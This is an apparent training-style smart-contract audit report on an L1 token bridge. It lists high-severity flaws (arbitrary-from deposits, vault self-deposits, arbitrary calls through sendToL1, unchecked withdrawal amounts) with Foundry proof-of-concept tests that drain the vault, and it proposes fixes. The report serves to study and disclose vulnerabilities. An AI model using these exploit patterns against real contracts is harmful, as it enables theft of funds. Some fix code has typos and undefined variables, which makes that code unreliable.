Protocol Audit Report

Version 1.0

Cyfrin.io

July 2, 2024

Protocol Audit Report

Mudit Jain

July 7, 2024

Prepared by: Mudit Jain Lead Auditors: - Mudit Jain

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

Disclaimer

The Quaternion team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:

    * L1BossBridge.sol
    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Issues found

High

[H-1] `L1BossBridge::depositTokensToL2` allows attacker to steal funds in case user approves the vault for token transfer

Description In the `L1BossBridge::depositTokensToL2` function there is safeTransfer called for tokenTransfer from the from address passed in params to vault. This can be exploited by attackers in case users have approved the vault as a recepient of the token but have not called `L1BossBridge::depositTokensToL2`.

Impact In case attacker calls the depositTokensToL2 function (with address of user in from param, and attackers address in l2Recepient param), then the funds would be transferred to the vault. But the event which is used by signers to detect the token deposit would have recepient address as that of attacker, allowing L2 tokens to be minted in attackers' account

Proof of Concepts

Proof of Code

Paste the following code in L1TokenBridge.t.sol

```
        function test_attackerStealFunds() public {
            address attacker = makeAddr("attacker");
            address attackerL2 = makeAddr("attackerL2");
            uint256 startingBalance = token.balanceOf(user);
            uint256 depositingAmount = 100e18 ;
            vm.prank(user);
            token.approve(address(tokenBridge), type(uint256).max);
            vm.startPrank(attacker);
            vm.expectEmit(address(tokenBridge));
            emit Deposit(user, attackerL2, depositingAmount);
            tokenBridge.depositTokensToL2(user, attackerL2,
                depositingAmount);
            vm.stopPrank();
            uint256 endingBalance = token.balanceOf(user);
            console2.log("Starting Balance: ", startingBalance);
            console2.log("Ending Balance: ", endingBalance);
            assert(endingBalance < startingBalance);
        }
    ```

</details>

Recommended mitigation
1. Only allow msg.sender to call the `L1BossBridge::depositTokensToL2`
   function
```diff
-    function depositTokensToL2(address from, address    l2Recipient,
   uint256 amount) external whenNotPaused
+    function depositTokensToL2(address l2Recepient, uint256 amount)
   external whenNotPaused
{
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);
        // Our off-chain service picks up this event and mints the
           corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recepient, amount);
}
```

[H-2] The `L1BossBridge::depositTokensToL2` function if called with `address(vault)` as from parameter allows attacker to mint unlimited L2 tokens draining funds from protocol

Description If the attacker calls the deposit function with from param as address of the vault itself, the function can be repeatedly called as the funds are being transferred between same addresses. This can allow attacker to emit Deposit event infinitely causing signers to repeatedly mint L2tokens to attackers account

Impact This could allow attacker to mint unlimited tokens on L2 draining protocol of the value.

Proof of Concepts

Proof of Code

Paste the below code in `L1TokenBridge.t.sol` contract.

```
    function testVaultSendToVault() public{
        address attacker = makeAddr("attacker");
        uint256 startingVaultBalance = 500 ether;
        deal(address(token), address(vault), startingVaultBalance);

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, startingVaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            startingVaultBalance);
        vm.stopPrank();

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, startingVaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            startingVaultBalance);
        vm.stopPrank();
    }
```

Recommended mitigation 1. Put address check in from parameter that the contract is not called by the vault itself.

```
+       error L1BossBridge_InvalidFromAddress();
.
.
.
+       if(from == adress(vault)) revert
    L1BossBridge_InvalidFromAddress();
        token.safeTransferFrom(from, address(vault), amount);
        // Our off-chain service picks up this event and mints the
            corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
```

[H-3] CREATE opcode does not work on ZkSyncEra

[H-4] The vault can be drained by calling `L1BossBridge::sendToL1` and hijacking `L1Vault::approveTo`

Description In the `L1BossBridge::sendToL1` any arbitrary message can be passed as parameter. the message is then decoded to find target contract, the vault and the data.

```
    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
       message) public nonReentrant whenNotPaused {
        address signer = ECDSA.recover(MessageHashUtils.
           toEthSignedMessageHash(keccak256(message)), v, r, s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

@>      (address target, uint256 value, bytes memory data) = abi.decode
   (message, (address, uint256, bytes));

        (bool success,) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }
    }
```

This is an external call where `msg.sender` is `L1BossBridge` contract. The bridge is the owner of the `L1Vault` as it deploys the vault.
An attacker can encode L1Vault::approveTo to be called, with their attacking address as the to value and type(uint256).max as the amount, meaning that the attacker can withdraw the entire vault balance

Impact Attacker can force all funds out of the vault

Proof of Concepts

Proof of code

Paste the following code in `L1TokenBridge.t.sol`

```
    function test_approveWithdrawFromDeposit() public {
        vm.startPrank(user);
        uint256 amount = 10e18;
        token.approve(address(tokenBridge), amount);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, userInL2, amount);
        tokenBridge.depositTokensToL2(user, userInL2, amount);
        vm.stopPrank();

        uint256 vaultBalanceBefore = token.balanceOf(address(vault));
        console2.log("Vault before balance: %s", vaultBalanceBefore);

        address attacker = makeAddr("attacker");
        bytes memory message = abi.encode(address(vault), 0, abi.
            encodeCall(L1Vault.approveTo, (address(attacker), type(
            uint256).max)));
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
            operator.key);
        vm.startPrank(attacker);
        tokenBridge.sendToL1(v, r, s, message);
        token.transferFrom(address(vault), attacker, vaultBalanceBefore
            );

        uint256 vaultBalanceAfter = token.balanceOf(address(vault));
        console2.log("Vault balance after: %s", vaultBalanceAfter);

        uint256 attackerBalanceAfter = token.balanceOf(attacker);
        console2.log("Attacker balance after: %s", attackerBalanceAfter
            );

        assertTrue(vaultBalanceAfter == 0);
        assertEq(attackerBalanceAfter, vaultBalanceBefore);
    }
```

Recommended mitigation 1. Set the `L1BossBridge::sendToL1` function visibility to private to ensure that it can only be called via `L1BossBridge::withdrawToL1` or restrict the call data to specific function selectors.

[H-5] By sending any amount, attacker can withdraw more funds than deposited

Description The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as deposited amount. As such any user can drain the entire vault.

Impact High severity since an attacker can drain the entire vault even after depositing very small amount of funds.

Proof of Concepts

Proof of Code

```
    function test_vaultDrainedAfterSmallDeposit() public {

        // initial arrangement
        uint256 vaultInitialBalance = token.balanceOf(address(vault));
        deal(address(token), address(vault), 100e18);
        assertEq(token.balanceOf(address(vault)), vaultInitialBalance +
             100e18);

        vm.startPrank(user);
        uint256 depositAmount = 1 wei ;
        uint256 userInitialBalance = token.balanceOf(address(user));
        token.approve(address(tokenBridge), depositAmount);
        tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
        assertEq(token.balanceOf(address(vault)), vaultInitialBalance + 100e18 + depositAmount);
        assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);

        uint256 vaultBalance = token.balanceOf(address(vault));
        bytes memory maliciousMessage = abi.encode(
            address(token),
            0,
            abi.encodeCall(IERC20.transferFrom, (address(vault), user, vaultBalance))
        );
        vm.stopPrank();

        (uint8 v, bytes32 r, bytes32 s) = _signMessage(maliciousMessage, operator.key);

        vm.startPrank(user);
        tokenBridge.withdrawTokensToL1(user, vaultBalance, v, r, s);
        vm.stopPrank();

        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(token.balanceOf(user), userInitialBalance - depositAmount + vaultBalance);
    }
```

Recommended mitigation 1. Add mapping for deposited tokens and only allow that amount to be deposited.

```
    IERC20 public immutable token; // 1 bridge per token
    L1Vault public immutable vault; // 1 vault per bridge
    mapping(address account => bool isSigner) public signers; // is signer for the bridge
+   mapping(address account => uint256 amount) public deposited;
.
.
.
-   function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused
+   function depositTokensToL2(adress l2Recepient, uint256 amount) external whenNotPaused
    {

        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        token.safeTransferFrom(msg.sender, address(vault), amount);
+       deposited[from] += amount;
        // Our off-chain service picks up this event and mints the
            corresponding tokens on L2
        emit Deposit(from, l2Recipient, amount);
    }
.
.
.
    function withdrawTokensToL1(address to, uint256 amount, uint8 v,
        bytes32 r, bytes32 s) external {
        // q does it prevent signature replay attack
+       require(amount == deposited[msg.sender], "Invalid withdrawal
    amount");
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
                abi.encodeCall(IERC20.transferFrom, (address(vault), to
                    , amount))
            )
        );
    }
```

Informational

[I-1] The variable `L1Vault::token` should be immutable

Description The variable needs to be only initialized once in the constructor and no when should be able to change it afterwards

Recommended mitigation 1. Make the token variable immutable.

```
-   IERC20 public token;
+   IERC20 public immutable token;
```

[I-2] Return value should be checked in `L1Vault::approveTo` function

Description The return value should be checked in `L1Vault::approbeTo` function to check if succesful approval is initiated and if not the transaction shall be reverted.

Recommended mitigation 1. Add mechanism for checking if approval is done.

```diff
+   error L1Vault_tokenApprovalFailed();
.
.
.
    function approveTo(address target, uint256 amount) external {
-       token.approve(target, amount);
+       bool success = token.approve(target, amount);
+       if(!success) revert L1Vault_tokenApprovalFailed();
    }
```